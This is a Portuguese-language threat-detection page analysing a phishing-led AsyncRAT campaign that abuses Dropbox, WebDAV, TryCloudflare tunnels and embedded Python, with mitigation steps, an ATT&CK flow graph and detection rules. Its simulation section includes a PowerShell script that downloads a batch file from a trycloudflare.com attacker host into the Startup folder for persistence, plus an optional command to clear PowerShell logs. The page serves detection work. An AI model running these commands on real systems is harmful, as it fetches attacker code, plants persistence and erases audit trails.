Como a MDR Descobriu uma Cadeia de Ataque Multi-Estágio do AsyncRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório descreve uma cadeia de intrusão em múltiplos estágios iniciada por e-mails de phishing que entregam iscas de ZIP com dupla extensão e transitam para uma sequência de payload hospedada via WebDAV. Os operadores abusam da infraestrutura gratuita da Cloudflare e de componentes Python incorporados para implantar o AsyncRAT nos endpoints das vítimas. A execução e persistência dependem de ferramentas nativas do Windows—Windows Script Host, PowerShell, e scripts batch—enquanto o estágio final utiliza injeção de código no explorer.exe. Ao direcionar a entrega e o preparo através de serviços em nuvem amplamente confiáveis, a atividade se mistura ao tráfego normal e pode evadir os controles perimetrais convencionais.
Investigação
Investigadores da Trend Micro relataram telemetria consistente com um fluxo de entrega escalonado: recuperação de um arquivo .pdf.zip do Dropbox, execução de atalhos .url embutidos, e subsequente interação com WebDAV atribuída a svchost.exe e rundll32.exe. A cadeia então implantou arquivos incorporados do Python 3.14.0, que foram usados para executar um script Python personalizado responsável pela injeção de shellcode do AsyncRAT via APC. A persistência foi alcançada colocando arquivos batch no diretório de Inicialização do usuário. Analistas também identificaram e correlacionaram múltiplos hosts TryCloudflare apoiando a infraestrutura.
Mitigação
Reduza a exposição treinando os usuários para tratar arquivos arquivados com dupla extensão e anexos ZIP inesperados como suspeitos e apertando o filtro para links em nuvem entregues via phishing. Bloqueie ou controle estritamente o acesso a serviços de tunelamento em nuvem não autorizados e monitore a dependência anormal de WebDAV em ambientes onde ele é incomum. Restrinja a execução de scripts a partir de diretórios graváveis pelo usuário e fortaleça os controles em torno do uso da pasta de Inicialização e criação de tarefas agendadas. Priorize detecções EDR/comportamentais que podem revelar cadeias de execução direcionadas por scripts e técnicas de injeção de código que miram em processos benignos.
Resposta
Se a atividade for detectada, isole o endpoint e pare os processos suspeitos associados à cadeia (notadamente svchost.exe, rundll32.exe e python.exe quando vinculados ao incidente). Remova a persistência deletando artefatos maliciosos batch do diretório de Inicialização, erradique os arquivos Python baixados e quaisquer componentes AsyncRAT, e realize uma varredura forense completa para arquivos adicionais de preparo e movimento lateral. Atualize os controles de rede e listas de bloqueio para incluir os domínios TryCloudflare identificados e qualquer infraestrutura associada observada durante a triagem.
“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing[“<b>Ação</b> – <b>T1566.001 Anexo Spearphishing</b>: A vítima recebe um e-mail de phishing com um anexo .pdf.url de dupla extensão que leva a um arquivo Dropbox.”] class attack_phishing action file_shortcut[“<b>Arquivo</b> – <b>Atalho .url</b>: Disfarça-se como uma fatura em PDF e aponta para o arquivo malicioso no Dropbox.”] class file_shortcut file action_user_exec[“<b>Ação</b> – <b>T1204.002 Execução do Usuário</b>: O usuário abre o atalho, disparando o download inicial.”] class action_user_exec action file_archive[“<b>Arquivo</b> – <b>Arquivo Dropbox</b>: Aparece como uma fatura em PDF, contém as cargas úteis da próxima fase.”] class file_archive file action_masquerade[“<b>Ação</b> – <b>T1036.008 Disfarce</b>: Arquivo e atalho imitam arquivos PDF legítimos para evitar suspeitas.”] class action_masquerade action tool_wsh[“<b>Ferramenta</b> – <b>Windows Script Host</b>: Arquivos .wsh/.wsf executados para recuperar scripts adicionais.”] class tool_wsh tool action_script_proxy[“<b>Ação</b> – <b>T1216 Execução de Proxy de Script do Sistema</b>: Executa arquivos WSH como proxy para download de script.”] class action_script_proxy action tool_rundll32[“<b>Ferramenta</b> – <b>rundll32.exe</b>: Invoca davclnt.dll (DavSetCookie) para se comunicar com um servidor WebDAV.”] class tool_rundll32 tool action_rundll32[“<b>Ação</b> – <b>T1218.011 Rundll32</b>: Usa o rundll32 para comunicar-se com um servidor WebDAV hospedado na Cloudflare.”] class action_rundll32 action tool_powershell[“<b>Ferramenta</b> – <b>PowerShell</b>: Faz o download do arquivo zip embutido do Python 3.14, extrai e puxa arquivos em lote adicionais.”] class tool_powershell tool action_powershell[“<b>Ação</b> – <b>T1059.001 PowerShell</b>: Executa comandos do PowerShell para download e extração.”] class action_powershell action action_hide[“<b>Ação</b> – <b>T1564.001 Ocultar Artefatos</b>: Armazena cargas úteis em arquivos ocultos dentro do diretório Temp do usuário.”] class action_hide action file_hidden[“<b>Arquivo</b> – <b>Arquivos Temporários Ocultos</b>: ne.py, new.bin, a.txt colocados em %TEMP% e marcados como ocultos.”] class file_hidden file action_persistence[“<b>Ação</b> – <b>T1037.001 Script de Logon</b>: Coloca arquivos em lote na pasta de Inicialização para persistência.”] class action_persistence action file_startup[“<b>Arquivo</b> – <b>Arquivos em Lote de Inicialização</b>: ahke.bat e olsm.bat localizados no diretório de Inicialização do usuário.”] class file_startup file action_ingress[“<b>Ação</b> – <b>T1105 Transferência de Ferramenta de Entrada</b>: Transfere componentes maliciosos adicionais do servidor WebDAV.”] class action_ingress action action_cloudapi[“<b>Ação</b> – <b>T1059.009 API de Nuvem</b>: Envia solicitações HTTP/HTTPS para domínios trycloudflare.com para recuperar cargas finais.”] class action_cloudapi action action_injection[“<b>Ação</b> – <b>T1055.004 Injeção de Processo</b>: Script Python ne.py injeta shellcode AsyncRAT em explorer.exe via injeção APC.”] class action_injection action process_explorer[“<b>Processo</b> – <b>explorer.exe</b>: Processo alvo para injeção de shellcode APC.”] class process_explorer process malware_asyncrat[“<b>Malware</b> – <b>AsyncRAT</b>: Shellcode injetado estabelece uma ferramenta de acesso remoto.”] class malware_asyncrat malware action_c2[“<b>Ação</b> – <b>T1102.002 Serviço Web</b>: AsyncRAT comunica-se bidirecionalmente via HTTPS com a infraestrutura da Cloudflare.”] class action_c2 action %% Connections attack_phishing u002du002d>|entrega| file_shortcut file_shortcut u002du002d>|aberto pela vítima aciona| action_user_exec action_user_exec u002du002d>|faz download| file_archive file_archive u002du002d>|usado em| action_masquerade action_masquerade u002du002d>|viabiliza execução de| tool_wsh tool_wsh u002du002d>|executa como parte de| action_script_proxy action_script_proxy u002du002d>|chama| tool_rundll32 tool_rundll32 u002du002d>|invoca| action_rundll32 action_rundll32 u002du002d>|prepara ambiente para| tool_powershell tool_powershell u002du002d>|executa| action_powershell action_powershell u002du002d>|armazena arquivos em| action_hide action_hide u002du002d>|cria| file_hidden file_hidden u002du002d>|usado por| action_persistence action_persistence u002du002d>|coloca| file_startup file_startup u002du002d>|aciona| action_ingress action_ingress u002du002d>|obtém mais componentes via| action_cloudapi action_cloudapi u002du002d>|entrega carga útil para| action_injection action_injection u002du002d>|injeta em| process_explorer process_explorer u002du002d>|hospeda| malware_asyncrat malware_asyncrat u002du002d>|comunica-se via| action_c2 “
Fluxo de Ataque
Detecções
Download ou Upload via Powershell (via cmdline)
Visualizar
LOLBAS WScript / CScript (via criação de processo)
Visualizar
Arquivo Python Criado em Diretório Incomum (via evento de arquivo)
Visualizar
Comunicação de Domínio Trycloudflare Suspeita (via proxy)
Visualizar
Possível Operação Manual ou de Scripting realizada em Pastas Incomuns (via cmdline)
Visualizar
Comunicação de Domínio Trycloudflare Suspeita (via dns)
Visualizar
IOCs (IP de Destino) para detectar: Analisando uma Campanha AsyncRAT em Múltiplos Estágios via Detecção e Resposta Gerenciada
Visualizar
IOCs (IP de Origem) para detectar: Analisando uma Campanha AsyncRAT em Múltiplos Estágios via Detecção e Resposta Gerenciada
Visualizar
Comando PowerShell Fazendo Download de Arquivos Python e Batch para Configuração do Ambiente e Persistência [Windows Powershell]
Visualizar
Campanha de Phishing Usando Edge e Cmd para Executar Script Python para Injeção de Código [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré‑Voo de Telemetria e Linha de Base deve ter passado.
-
Narrativa do Ataque & Comandos
Um adversário que conseguiu acesso inicial ao PowerShell em um host Windows comprometido deseja configurar um ambiente de execução Python e alcançar persistência. Eles:
- Fazem download da distribuição Python incorporada diretamente para o local
Tempdo usuário usandoInvoke‑WebRequest. - Fazem download de um script batch malicioso (
ahke.bat) de um domínio proxy da Cloudflare para a pasta de Inicialização do usuário para que ele execute em cada logon. - Executam o zip do Python baixado (omitido aqui para brevidade) para executar payloads adicionais.
Esses passos produzem exatamente as strings de comando correspondidas pela regra Sigma, gerando logs do bloco de script do PowerShell com o padrão
iwr … -OutFile …. - Fazem download da distribuição Python incorporada diretamente para o local
-
Script de Teste de Regressão
# ------------------------------------------------- # Simulação em PowerShell da configuração do ambiente AsyncRAT # ------------------------------------------------- # 1. Baixar zip Python incorporado para a pasta temp do usuário $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip" iwr $pythonUrl -OutFile $pythonDest # 2. Baixar arquivo batch malicioso para Inicialização para persistência $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat' $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" iwr $batUrl -OutFile $batDest # 3. (Opcional) Acionar execução do batch para demonstrar persistência # Start-Process -FilePath $batDest -WindowStyle Hidden # ------------------------------------------------- -
Comandos de Limpeza
# Remover os artefatos baixados Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue # Opcionalmente limpar logs de blocos de script do PowerShell (requer admin) # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"